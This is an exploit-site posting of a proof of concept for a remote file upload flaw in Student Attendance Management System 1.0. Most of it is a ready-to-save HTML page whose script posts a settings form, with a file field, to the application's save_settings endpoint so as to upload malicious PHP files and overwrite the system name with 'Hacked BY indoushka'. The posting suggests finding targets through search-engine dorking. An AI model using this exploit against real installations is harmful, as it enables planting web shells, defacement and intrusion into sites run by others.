Latest exploits :: CodePwn

<pre><code>=============================================================================================================================================<br />| # Title : Student Attendance Management System 1.0 Remote File Upload Vulnerability |<br />| # Author : indoushka |<br />| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) |<br />| # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/student-attendance-management-system.zip |<br />=============================================================================================================================================<br /><br />poc :<br /><br />[+] Dorking İn Google Or Other Search Enggine.<br /><br />[+] This HTML page is designed to remotely upload PHP malicious files directly.<br /> <br />[+] Line 84 set url of target.<br /><br />[+] The path to upload the files : http://127.0.0.1/student_attendance/assets/uploads/<br /><br />[+] Save Code as html :<br /><br /><!DOCTYPE html><br /><html lang="en"><br /><head><br /> <meta charset="UTF-8"><br /> <meta name="viewport" content="width=device-width, initial-scale=1.0"><br /> <title>Manage Settings</title><br /> <br /> <style><br /> img#cimg {<br /> max-height: 10vh;<br /> max-width: 6vw;<br /> }<br /> </style><br /></head><br /><body><br /><br /><div class="card col-lg-12"><br /> <div class="card-body"><br /> <form action="" id="manage-settings"><br /> <div class="form-group"><br /> <label for="name" class="control-label">System Name</label><br /> <input type="text" class="form-control" id="name" name="name" value="Hacked BY indoushka" required><br /> </div><br /> <div class="form-group"><br /> <label for="email" class="control-label">Email</label><br /> <input type="email" class="form-control" id="email" name="email" value="indoushka4ever@gmail.com" required><br /> </div><br /> <div class="form-group"><br /> <label for="contact" class="control-label">Contact</label><br /> <input type="text" class="form-control" id="contact" name="contact" value="+213771818860" required><br /> </div><br /> <div class="form-group"><br /> <label for="about" class="control-label">About Content</label><br /> <textarea name="about" id="about" class="text-jqte" rows="5"><p style="text-align: center; background: transparent; position: relative;"><span style="color: rgb(0, 0, 0); font-family: "Open Sans", Arial, sans-serif; font-weight: 400; text-align: justify;">&nbsp;is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry&rsquo;s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.</span><br></p><p style="text-align: center; background: transparent; position: relative;"><br></p><p style="text-align: center; background: transparent; position: relative;"><br></p><p></p></textarea><br /> </div><br /> <div class="form-group"><br /> <label for="" class="control-label">Image</label><br /> <input type="file" class="form-control" name="img" id="img" onchange="displayImg(this)"><br /> </div><br /> <div class="form-group"><br /> <img src="assets/uploads/1603344720_1602738120_pngtree-purple-hd-business-banner-image_5493.jpg" alt="" id="cimg"><br /> </div><br /> <center><br /> <button type="submit" class="btn btn-info btn-primary btn-block col-md-2">Save</button><br /> </center><br /> </form><br /> </div><br /></div><br /><br /><script><br /> function displayImg(input) {<br /> if (input.files && input.files[0]) {<br /> var reader = new FileReader();<br /> reader.onload = function (e) {<br /> document.getElementById('cimg').src = e.target.result;<br /> }<br /> reader.readAsDataURL(input.files[0]);<br /> }<br /> }<br /><br /> function start_load() {<br /> // Implement your loading functionality here<br /> console.log("Loading started...");<br /> }<br /><br /> function end_load() {<br /> // Implement your end loading functionality here<br /> console.log("Loading ended...");<br /> }<br /><br /> function alert_toast(message, type) {<br /> // Implement your alert/toast notification here<br /> console.log(`${type}: ${message}`);<br /> }<br /><br /> document.getElementById('manage-settings').addEventListener('submit', function(e) {<br /> e.preventDefault(); // Prevent the default form submission<br /><br /> start_load(); // Start loading<br /><br /> var form = e.target;<br /> var formData = new FormData(form);<br /><br /> fetch('http://127.0.0.1/student_attendance/ajax.php?action=save_settings', {<br /> method: 'POST',<br /> body: formData<br /> })<br /> .then(response => response.text())<br /> .then(resp => {<br /> if (resp == 1) {<br /> alert_toast('Data successfully saved.', 'success');<br /> setTimeout(function() {<br /> location.reload(); // Reload the page after saving<br /> }, 1000);<br /> } else {<br /> // Handle error case if needed<br /> console.log('Error:', resp);<br /> }<br /> end_load(); // End loading<br /> })<br /> .catch(error => {<br /> console.error('Error:', error);<br /> end_load(); // End loading<br /> });<br /> });<br /></script><br /><br /></body><br /></html><br /><br /><br />Greetings to :============================================================<br />jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br />==========================================================================<br /></code></pre>